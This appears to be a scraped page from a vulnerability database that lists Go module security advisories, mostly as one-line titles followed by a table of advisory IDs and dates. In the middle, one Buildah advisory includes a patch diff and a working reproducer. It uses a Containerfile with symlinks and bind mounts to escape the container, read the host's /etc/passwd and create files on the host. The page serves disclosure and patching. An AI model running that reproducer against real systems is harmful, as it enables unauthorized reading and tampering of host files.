File Browser has an access rule bypass via HasPrefix without trailing separator in path matching in github.com/filebrowser/filebrowser

esm.sh CDN service has arbitrary file write via tarslip in github.com/esm-dev/esm.sh

kuma-dp connects to control plane without verifying TLS certificate when no CA is configured in github.com/kumahq/kuma.

NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.

(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)

The additional affected modules and versions are: github.com/kumahq/kuma/v2 from v2.8.0 before v2.9.16.

Helm Unsafe Link Following in helm.sh/helm

Mattermost doesn't validate the TIFF IFD offset in the image header before allocating memory in github.com/mattermost/mattermost-server

Remote Command Execution in file editing in gogs in gogs.io/gogs

Cosmos SDK can halt when erroring in EndBlocker in github.com/cosmos/cosmos-sdk/

Mattermost fails to properly invalidate personal access tokens upon user deactivation in github.com/mattermost/mattermost-server

ActiveMQ Artemis AMQ Broker Operator Starting Credentials Reuse in github.com/arkmq-org/activemq-artemis-operator

Host header injection which leads to open redirect in RedirectSlashes in github.com/go-chi/chi

Mattermost fails to limit the number of role names in github.com/mattermost/mattermost-server.

NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.

(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)

The additional affected modules and versions are: github.com/mattermost/mattermost/server/v8 before v8.1.9.

FrankenPHP: Unsafe Unicode Handling in CGI Path Splitting Allows Execution of Non-PHP Files in github.com/dunglas/frankenphp

Nginx Configuration Directory Vulnerable to Recursive Deletion via Improper Path Validation in github.com/0xJacky/Nginx-UI

AMF Vulnerable to Improper Resource Shutdown or Release in github.com/omec-project/amf.

NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.

(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)

The additional affected modules and versions are: github.com/omec-project/amf before v2.2.0.

Excessive resource consumption when unmarshalling Compose file with recursive loop in github.com/compose-spec/compose-go/v2

go-crypto-winnative BCryptGenerateSymmetricKey memory leak in github.com/microsoft/go-crypto-winnative

AWS Advanced Go Wrapper has Privilege Escalation in Aurora PostgreSQL instance in github.com/aws/aws-advanced-go-wrapper/auth-helpers.

NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.

(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)

The additional affected modules and versions are: github.com/aws/aws-advanced-go-wrapper/xray before 1.07.

Withdrawn Advisory: Teleport Access List owners can escalate their privileges in github.com/gravitational/teleport.

NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.

(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)

The additional affected modules and versions are: github.com/gravitational/teleport from v13.0.0 before v13.4.13, from v14.0.0 before v14.2.4.

Mattermost Server vulnerable to CSRF if CORS is enabled in github.com/mattermost/mattermost-server.

NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.

(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)

The additional affected modules and versions are: .

When the scs-library-client is used to pull a container image, with authentication, the HTTP Authorization header sent by the client to the library service may be incorrectly leaked to an S3 backing storage provider.

Improper Neutralization of Special Elements used in an LDAP Query in stevenweathers/thunderdome-planning-poker in github.com/StevenWeathers/thunderdome-planning-poker

Traefik Kubernetes Ingress NGINX provider fails open when auth-secret resolution fails in github.com/traefik/traefik

LF Edge eKuiper vulnerable to File Path Traversal leading to file replacement in github.com/lf-edge/ekuiper

ZITADEL Allows Account Takeover via Malicious X-Forwarded-Proto Header Injection in github.com/zitadel/zitadel.

NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.

(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)

The additional affected modules and versions are: github.com/zitadel/zitadel from v2.38.3 before v2.70.12, from v2.71.0 before v2.71.11, from v3.0.0-rc1 before v3.2.2.

CoreDNS DoH GET oversized dns= query parameter causes pre-validation CPU and memory amplification in github.com/coredns/coredns

Github.com/go-acme/lego/v4/acme/api does not enforce HTTPS in github.com/go-acme/lego

Open Redirect Bypass in miniflux-v2 in miniflux.app

Ella Core vulnerable to Unauthenticated AMF DoS via malformed InitialUEMessage with undersized integrity-protected NAS payload in github.com/ellanetworks/core

Maddy Mail Server has an LDAP Filter Injection via Unsanitized Username in github.com/foxcpp/maddy

Ferret: Path Traversal in IO::FS::WRITE allows arbitrary file write in github.com/MontFerret/ferret

Credential disclosure in syft when SYFT_ATTEST_PASSWORD environment variable set in github.com/anchore/syft

free5GC UDM vulnerable to null byte injection in URL path parameters causing 500 Internal Server Error in github.com/free5gc/udm

RBAC Roles for `etcd` created by Kamaji are not disjunct in github.com/clastix/kamaji

Sliver One-Click Remote Access: Insecure CORS & Unauthenticated MCP Interface in github.com/bishopfox/sliver

Denial of service in go-ethereum due to CVE-2020-28362 in github.com/ethereum/go-ethereum

Kubernetes Privilege Escalation in k8s.io/kubernetes

SSRF in repository migration in gogs.io/gogs

Mattermost fail to prompt for explicit approval before adding a team admin to a private channel in github.com/mattermost/mattermost-server

Fleet server may terminate unexpectedly when handling certain gRPC requests in github.com/fleetdm/fleet

HTTP headers were not properly parsed, which allows remote attackers to conduct HTTP request smuggling attacks via a request that contains Content-Length and Transfer-Encoding header fields.

Tekton Pipelines has VerificationPolicy regex pattern bypass via substring matching in github.com/tektoncd/pipeline

Hashicorp Vault has Login MFA Rate Limit Bypass Vulnerability in github.com/hashicorp/vault

Cache driver GetBlob() allows read access to any blob without access control check in zotregistry.dev/zot.

NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.

(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)

The additional affected modules and versions are: zotregistry.dev/zot before v2.1.0; zotregistry.io/zot before v2.1.0.

Denial of service in HashiCorp Consul in github.com/hashicorp/consul

The HTTP/1 client accepted some invalid Transfer-Encoding headers as indicating a "chunked" encoding. This could potentially allow for request smuggling, but only if combined with an intermediate server that also improperly failed to reject the header as invalid.

pastebinit Path Traversal vulnerability in github.com/jessfraz/pastebinit

klever-go: REST API slow-header connection exhaustion via Gin Engine.Run in github.com/klever-io/klever-go

Traefik routes exposed with an empty TLSOption in github.com/traefik/traefik

DoS due to Panic in AWS SDK for Go v2 SDK EventStream Decoder in github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream

Netmaker has Privilege Escalation from Admin to Super-Admin via User Update in github.com/gravitl/netmaker

SGID programs executed in a container can access files that have negative group permissions for the user's primary group.

Consider a file which is owned by user u1 and group g1, permits user and other read access, and does NOT permit group read access. This file is readable by u1 and all other users except for ones in group g1.

A program with the set-group-ID (SGID) bit set assumes the primary group of the program's group when it executes.

A user with the primary group g1 who executes an SGID program owned by group g2 should not be able to access the file described above. While the program executes with the primary group g2, the group g1 should remain in its supplementary groups, blocking access to the file.

Buildah does not correctly add g1 to the supplementary groups in this scenario, permitting unauthorized access.

usememos/memos makes Incorrect Use of Privileged APIs in github.com/usememos/memos

Violation of GitHub host security boundary when sourcing authentication token within a codespace in github.com/cli/go-gh

PicoClaw has an Injection issue in its Web Launcher Management Plane component in github.com/sipeed/picoclaw

free5gc UDR fail-open request handling in PolicyDataSubsToNotifySubsIdPut may allow unintended subscription updates after input errors in github.com/free5gc/udr

Arc: Unauthenticated access to Go debug pprof endpoints leaks runtime state and enables CPU-burn DoS in github.com/basekick-labs/arc

Mattermost doesn't properly validate msgpack-encoded WebSocket frames before memory allocation in github.com/mattermost/mattermost-server

The JWE key management algorithms based on PBKDF2 require a JOSE Header Parameter called p2c (PBES2 Count). This parameter dictates the number of PBKDF2 iterations needed to derive a CEK wrapping key. Its purpose is to intentionally slow down the key derivation function, making password brute-force and dictionary attacks more resource-intensive. However, if an attacker sets the p2c parameter in JWE to a very large number, it can cause excessive computational consumption.

Gin-vue-admin has arbitrary file upload vulnerability caused by path traversal in github.com/flipped-aurora/gin-vue-admin

SSH servers which use CertChecker as a public key callback without setting IsUserAuthority or IsHostAuthority could be caused to panic by a client presenting a certificate. CertChecker now returns an error instead of panicking when these callbacks are nil.

Nezha Monitoring: Authenticated users can claim the dashboard Host through NAT and preempt all dashboard routing in github.com/nezhahq/nezha.

NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.

(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)

The additional affected modules and versions are: github.com/nezhahq/nezha from v2.0.14 before v2.1.0.

File Browser: Proxy auth auto-provisioned users inherit Execute permission and Commands in github.com/filebrowser/filebrowser

Chaos Controller Manager is vulnerable to OS command injection in github.com/chaos-mesh/chaos-mesh.

NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.

(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)

The additional affected modules and versions are: github.com/chaos-mesh/chaos-mesh before v2.7.3.

Arcane Has an Authenticated Arbitrary Host File Read via Docker Compose Include Directives in github.com/getarcaneapp/arcane/backend

PAM module may allow accessing with the credentials of another user in github.com/ubuntu/authd

Privilege Escalation in Docker in github.com/docker/docker

Proposed commits may contain signatures for blocks not contained within the commit. Instead of skipping these signatures, they cause failure during verification. A malicious proposer can use this to force consensus failures.

Apache Answer: Avatar URL leaked user email addresses in github.com/apache/incubator-answer

Information disclosure in podman in github.com/containers/libpod

1Panel contains a cross-site request forgery (CSRF) vulnerability in the panel name management functionality in github.com/1Panel-dev/1Panel.

NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.

(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)

The additional affected modules and versions are: .

Files or Directories Accessible to External Parties in kubernetes in k8s.io/kubernetes

Answer vulnerable to Cross-site Scripting in github.com/answerdev/answer

Nezha Monitoring: RoleMember can fire other users' cron tasks via AlertRule.FailTriggerTasks (no ownership check) in github.com/nezhahq/nezha

Mattermost Fails to Restrict Bookmark Creation and Updates in Archived Channels in github.com/mattermost/mattermost-server

Ella Core Panics during NAS Authentication Response/Failure with missing IEs in github.com/ellanetworks/core

NeuVector telemetry sender is vulnerable to MITM and DoS in github.com/neuvector/neuvector

File Browser vulnerable to command execution allowlist bypass in github.com/filebrowser/filebrowser

Cross-site Scripting in Gogs in gogs.io/gogs

Denial of service of Minder Server from maliciously crafted GitHub attestations in github.com/stacklok/minder

WeKnora has DNS Rebinding Vulnerability in web_fetch Tool that Allows SSRF to Internal Resources in github.com/Tencent/WeKnora

### Impact
_What kind of vulnerability is it? Who is impacted?_

Users running containers with root privileges allowing a container to run with read/write access to the host system files when selinux is not enabled.  With selinux enabled, some read access is allowed.

### Patches
From @nalind 
```
# cat /root/cve-2024-1753.diff
--- internal/volumes/volumes.go
+++ internal/volumes/volumes.go
@@ -11,6 +11,7 @@ import (
 
 	"errors"
 
+	"github.com/containers/buildah/copier"
 	"github.com/containers/buildah/define"
 	"github.com/containers/buildah/internal"
 	internalParse "github.com/containers/buildah/internal/parse"
@@ -189,7 +190,11 @@ func GetBindMount(ctx *types.SystemContext, args []string, contextDir string, st
 	// buildkit parity: support absolute path for sources from current build context
 	if contextDir != "" {
 		// path should be /contextDir/specified path
-		newMount.Source = filepath.Join(contextDir, filepath.Clean(string(filepath.Separator)+newMount.Source))
+		evaluated, err := copier.Eval(contextDir, newMount.Source, copier.EvalOptions{})
+		if err != nil {
+			return newMount, "", err
+		}
+		newMount.Source = evaluated
 	} else {
 		// looks like its coming from `build run --mount=type=bind` allow using absolute path
 		// error out if no source is set
```
### Reproducer

Prior to testing, as root, add a memorable username to `/etc/passwd` via adduser or your favorite editor.   Also create a memorably named file in `/`.  Suggest: `touch /SHOULDNTSEETHIS.txt` and `adduser SHOULDNTSEETHIS`.  After testing, remember to remove both the file and the user from your system.

Use the following Containerfile

```
# cat ~/cve_Containerfile
FROM alpine as base

RUN ln -s / /rootdir
RUN ln -s /etc /etc2

FROM alpine

RUN echo "ls container root"
RUN ls -l /

RUN echo "With exploit show host root, not the container's root, and create /BIND_BREAKOUT in / on the host"
RUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit

RUN echo "With exploit show host /etc/passwd, not the container's, and create /BIND_BREAKOUT2 in /etc on the host"
RUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2 
```

#### To Test

##### Testing with an older version of Buildah with the issue
```
setenforce 0
buildah build -f ~/cve_Containerfile .
```

As part of the printout from the build, you should be able to see the contents of the `/' and `/etc` directories, including the `/SHOULDNOTSEETHIS.txt` file that you created, and the contents of the `/etc/passwd` file which will include the `SHOULDNOTSEETHIS` user that you created.  In addition, the file `/BIND_BREAKOUT` and `/etc/BIND_BREAKOUT2` will exist on the host after the command is completed.  Be sure to remove those two files between tests.  

```
buildah rm -a
buildah rmi -a
rm /BIND_BREAKOUT
rm /etc/BIND_BREAKOUT2
setenforce 1
buildah build -f ~/cve_Containerfile .
```
Neither the `/BIND_BREAKEOUT` or `/etc/BIND_BREAKOUT2` files should be created.  An error should be raised during the build when both files are trying to be created.  Also, errors will be raised when the build tries to display the contents of the `/etc/passwd` file, and nothing will be displayed from that file.  

However, the files in both the `/` and `/etc` directories on the host system will be displayed.

##### Testing with the patch

Use the same commands as testing with an older version of Buildah.

When running using the patched version of Buildah, regardless of the `setenforce` settings,  you should not see the file that you created or the user that you added.  Also the `/BIND_BREAKOUT` and the `/etc/BIND_BREAKOUT` will not exist on the host after the test completes.

NOTE: With the fix, the contents of the `/` and `/etc` directories, and the `/etc/passwd` file will be displayed, however, it will be the file and contents from the container image, and NOT the host system.  Also the `/BIND_BREAKOUT` and `/etc/BIND_BREAKOUT` files will be created in the container image.


### Workarounds
Ensure selinux controls are in place to avoid compromising sensitive system files and systems.  With "setenforce 0" set, which is not at all advised, the root file system is open for modification with this exploit.  With "setenfoce 1" set, which is the recommendation, files can not be changed.  However, the contents of the `/` directory can be displayed.  I.e., `ls -alF /` will show the contents of the host directory.

### References

Unknown.


Kyverno vulnerable to SSRF via Service Calls in github.com/kyverno/kyverno

The nebula-mesh Web UI host creation ignores the configured enrollment token TTL and instead mints 24-hour bearer enrollment tokens. This can lead to tokens remaining valid for longer than intended, increasing the window of opportunity for an attacker to use an intercepted token.

Ironic Standalone Operator's prometheus metrics exporter bound to all interfaces in github.com/metal3-io/ironic-standalone-operator

Sensitive Information leak for users of Ceph RBD via Log File in k8s.io/kubernetes

free5GC's NEF 3gpp-traffic-influence API is unauthenticated; missing or forged bearer tokens can create, read, patch, and delete subscriptions in github.com/free5gc/nef

An attacker can craft a remote request to upload a file to "/group1/upload" that uses path traversal to instead write the file contents to an attacker controlled path on the server.

Gogs Allows Cross-Repository Comment Deletion via DeleteComment in gogs.io/gogs.

NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.

(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)

The additional affected modules and versions are: gogs.io/gogs before v0.14.0.

Incus vulnerable to arbitrary file read and write through pongo templates in github.com/lxc/incus

Vault Community Edition rekey and recovery key operations can cause denial of service in github.com/hashicorp/vault

ShellHub has cross-tenant IDOR in `GET /api/sessions/:uid` that discloses SSH session data in github.com/shellhub-io/shellhub

ZITADEL's actions can overload reserved claims in github.com/zitadel/zitadel.

NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.

(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)

The additional affected modules and versions are: github.com/zitadel/zitadel before v2.42.17, from v2.43.0 before v2.43.11, from v2.44.0 before v2.44.7, from v2.45.0 before v2.45.5, from v2.46.0 before v2.46.5, from v2.47.0 before v2.47.8, from v2.48.0 before v2.48.3.

Malicious inputs can cause a panic.

A maliciously crafted input can cause a stack overflow and panic. Any user with access to the GraphQL can send such a query.

This issue only occurs when using the graphql.MaxDepth schema option (which is highly recommended in most cases).

memos vulnerable to Server-Side Request Forgery in /o/get/httpmeta in github.com/usememos/memos

Fleet has a JWT signature bypass vulnerability in Azure AD MDM enrollment in github.com/fleetdm/fleet

ZITADEL: Login V2 UI Policy Bypass Allows Unauthorized Self-Registration and Authentication in github.com/zitadel/zitadel.

NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.

(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)

The additional affected modules and versions are: github.com/zitadel/zitadel from v4.0.0 before v4.12.1.

Vikunja Allows Disabled/Locked User Accounts to Authenticate via API Tokens, CalDAV, and OpenID Connect in code.vikunja.io/api.

NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.

(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)

The additional affected modules and versions are: code.vikunja.io/api before v2.2.1.

Mattermost incorrectly issues two sessions when using desktop SSO in github.com/mattermost/mattermost-server

Header dropping in traefik in github.com/traefik/traefik

Flux notification-controller GCR Receiver missing email validation allows unauthorized reconciliation triggering in github.com/fluxcd/notification-controller

CVE ID↕	Published↕	CVSS↑
GO-2026-5150	Jun 25, 2026	N/A
GO-2025-4138	Nov 25, 2025	N/A
GO-2026-6013	Jul 22, 2026	N/A
GO-2023-1938	Aug 20, 2024	N/A
GO-2026-5835	Jul 7, 2026	N/A
GO-2024-3355	Jan 7, 2025	N/A
GO-2025-3516	Mar 18, 2025	N/A
GO-2025-3731	Jun 3, 2025	N/A
GO-2025-3717	May 29, 2025	N/A
GO-2025-3770	Jul 21, 2025	N/A
GO-2024-2594	Jun 28, 2024	N/A
GO-2026-5084	Jun 25, 2026	N/A
GO-2026-4907	Apr 2, 2026	N/A
GO-2026-5179	Jun 25, 2026	N/A
GO-2025-3412	Jan 29, 2025	N/A
GO-2025-3461	Mar 3, 2025	N/A
GO-2026-5601	Jun 25, 2026	N/A
GO-2024-2442	Jun 28, 2024	N/A
GO-2026-4305	Feb 26, 2026	N/A
GO-2023-1497	Feb 1, 2023	N/A
GO-2022-0939	Aug 21, 2024	N/A
GO-2026-5128	Jun 25, 2026	N/A
GO-2025-3799	Jul 28, 2025	N/A
GO-2025-3721	May 29, 2025	N/A
GO-2026-5164	Jun 25, 2026	N/A
GO-2025-3847	Aug 11, 2025	N/A
GO-2026-5500	Jun 25, 2026	N/A
GO-2026-4692	Mar 13, 2026	N/A
GO-2026-5137	Jun 25, 2026	N/A
GO-2026-5452	Jul 24, 2026	N/A
GO-2023-1533	Aug 20, 2024	N/A
GO-2026-4763	Mar 23, 2026	N/A
GO-2024-3063	Aug 13, 2024	N/A
GO-2026-5175	Jun 25, 2026	N/A
GO-2022-0392	Aug 21, 2024	N/A
GO-2023-1492	Aug 20, 2024	N/A
GO-2022-0377	Aug 21, 2024	N/A
GO-2025-3555	Mar 25, 2025	N/A
GO-2026-5744	Jun 25, 2026	N/A
GO-2021-0159	Jan 5, 2022	N/A
GO-2026-5630	Jun 25, 2026	N/A
GO-2025-3842	Aug 11, 2025	N/A
GO-2024-2979	Jul 10, 2024	N/A
GO-2024-2501	Jun 28, 2024	N/A
GO-2022-0525	Jul 25, 2022	N/A
GO-2022-1212	Aug 21, 2024	N/A
GO-2026-5686	Jun 25, 2026	N/A
GO-2022-1152	Aug 21, 2024	N/A
GO-2026-5764	Jul 7, 2026	N/A
GO-2026-4654	Mar 11, 2026	N/A
GO-2022-1008	Sep 21, 2022	N/A
GO-2022-1236	Aug 21, 2024	N/A
GO-2024-3295	Dec 12, 2024	N/A
GO-2026-5187	Jun 25, 2026	N/A
GO-2026-5407	Jun 25, 2026	N/A
GO-2026-5457	Jun 25, 2026	N/A
GO-2026-5838	Jul 7, 2026	N/A
GO-2023-2379	Dec 11, 2023	N/A
GO-2026-4313	Jan 23, 2026	N/A
GO-2026-5015	May 22, 2026	N/A
GO-2026-5824	Jul 7, 2026	N/A
GO-2026-5205	Jun 25, 2026	N/A
GO-2025-3949	Sep 17, 2025	N/A
GO-2026-5308	Jun 25, 2026	N/A
GO-2024-3181	Oct 9, 2024	N/A
GO-2022-0752	Aug 21, 2024	N/A
GO-2021-0090	Apr 14, 2021	N/A
GO-2024-3158	Sep 26, 2024	N/A
GO-2024-2766	Jun 4, 2024	N/A
GO-2025-4230	Dec 15, 2025	N/A
GO-2022-0910	Aug 21, 2024	N/A
GO-2023-1616	Aug 20, 2024	N/A
GO-2026-5645	Jun 25, 2026	N/A
GO-2025-3552	Mar 25, 2025	N/A
GO-2026-4872	Apr 2, 2026	N/A
GO-2025-4044	Oct 30, 2025	N/A
GO-2025-3795	Jul 28, 2025	N/A
GO-2022-0597	Aug 21, 2024	N/A
GO-2024-2885	Jun 5, 2024	N/A
GO-2026-4643	Mar 10, 2026	N/A
GHSA-pmf3-c36m-g5cf	Mar 19, 2024	N/A
GO-2025-3615	Apr 22, 2025	N/A
GO-2026-5987	Jul 23, 2026	N/A
GO-2026-5215	Jun 25, 2026	N/A
GO-2024-2754	Jun 4, 2024	N/A
GO-2026-5093	Jun 25, 2026	N/A
GO-2023-1713	Apr 12, 2023	N/A
GO-2026-4501	Feb 23, 2026	N/A
GO-2026-4881	Apr 7, 2026	N/A
GO-2025-3788	Jul 28, 2025	N/A
GO-2026-5302	Jun 25, 2026	N/A
GO-2024-2664	Jun 5, 2024	N/A
GO-2022-0300	Jul 15, 2022	N/A
GO-2024-3047	Aug 6, 2024	N/A
GO-2026-4335	Feb 3, 2026	N/A
GO-2026-4604	Mar 10, 2026	N/A
GO-2026-4849	Mar 26, 2026	N/A
GO-2024-3227	Oct 30, 2024	N/A
GO-2022-0923	Aug 21, 2024	N/A
GO-2026-5419	Jun 25, 2026	N/A

Know every vulnerability
before it knows you.

go CVE Vulnerabilities — DevGuard Vulnerability Database

Know every vulnerabilitybefore it knows you.

go CVE Vulnerabilities — DevGuard Vulnerability Database

Know every vulnerability
before it knows you.